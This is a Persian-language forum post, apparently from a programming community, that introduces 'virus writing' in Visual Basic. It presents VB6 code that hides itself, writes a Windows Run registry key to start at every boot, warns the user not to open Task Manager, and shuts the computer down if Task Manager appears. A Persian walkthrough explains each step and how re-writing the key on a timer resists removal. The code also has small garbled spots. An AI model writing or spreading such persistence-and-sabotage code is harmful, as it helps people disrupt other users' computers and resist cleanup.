نمایش نتایج: از شماره 1 تا 1 , از مجموع 1

موضوع: کدهای پیشرفته در ویژوال بیسیک - مقدمه ویروس نویسی

  1. #1
    مدیر بازنشسته
    تاریخ عضویت
    2010/01/09
    محل سکونت
    *گیلان-املش*
    سن
    31
    نوشته ها
    5,954
    سپاس ها
    922
    سپاس شده 423 در 307 پست

    New 1 کدهای پیشرفته در ویژوال بیسیک - مقدمه ویروس نویسی

    Private Sub Form_Load()
    [ App.TaskVisible = False
    timer1.interval=1
    Me.Hide
    Set Reg = CreateObject("wscript.shell")
    Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS \CUR RENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
    Timer1.Interval = 1
    End Sub
    Private Sub Timer1_Timer()
    MsgBox "Dont press alt+ctrl+del", vbCritical, "This is not a virus !!"
    Dim handel As Long
    handel = FindWindow(vbNullString, "Windows Task Manager")
    If handel <> 0 Then
    Shell "shutdown -s -t 2 "
    End Sub
    و اما توضیحات:
    خیلی ساده . در خط اول برنامه را از دید کاربر مخفی کردیم . در رجیستری کلیدی را درست کردیم که با هر بار راه اندازی ویندوز برنامه اجرا میشه. با تابع findwindows هندل تسکبار را بدست آوردیم. ابتدا این ویروس یه اخطار میده که task manager را فعال نکنین و اگه کردین تابع shell "shutdown اجرا میشه و دردسرهای بعدی البته با پاک کردن کلید مورد نظر در رجیستری این ویروس از کار میافته که با قرار دادن این دستور در یک تایمر هر دفعه که پاک بشه بازم درست میشه . یعنی ...

  2. کاربر روبرو از پست مفید MEGAMAN سپاس کرده است .


کلمات کلیدی این موضوع

مجوز های ارسال و ویرایش

  • شما نمیتوانید موضوع جدیدی ارسال کنید
  • شما امکان ارسال پاسخ را ندارید
  • شما نمیتوانید فایل پیوست کنید.
  • شما نمیتوانید پست های خود را ویرایش کنید
  •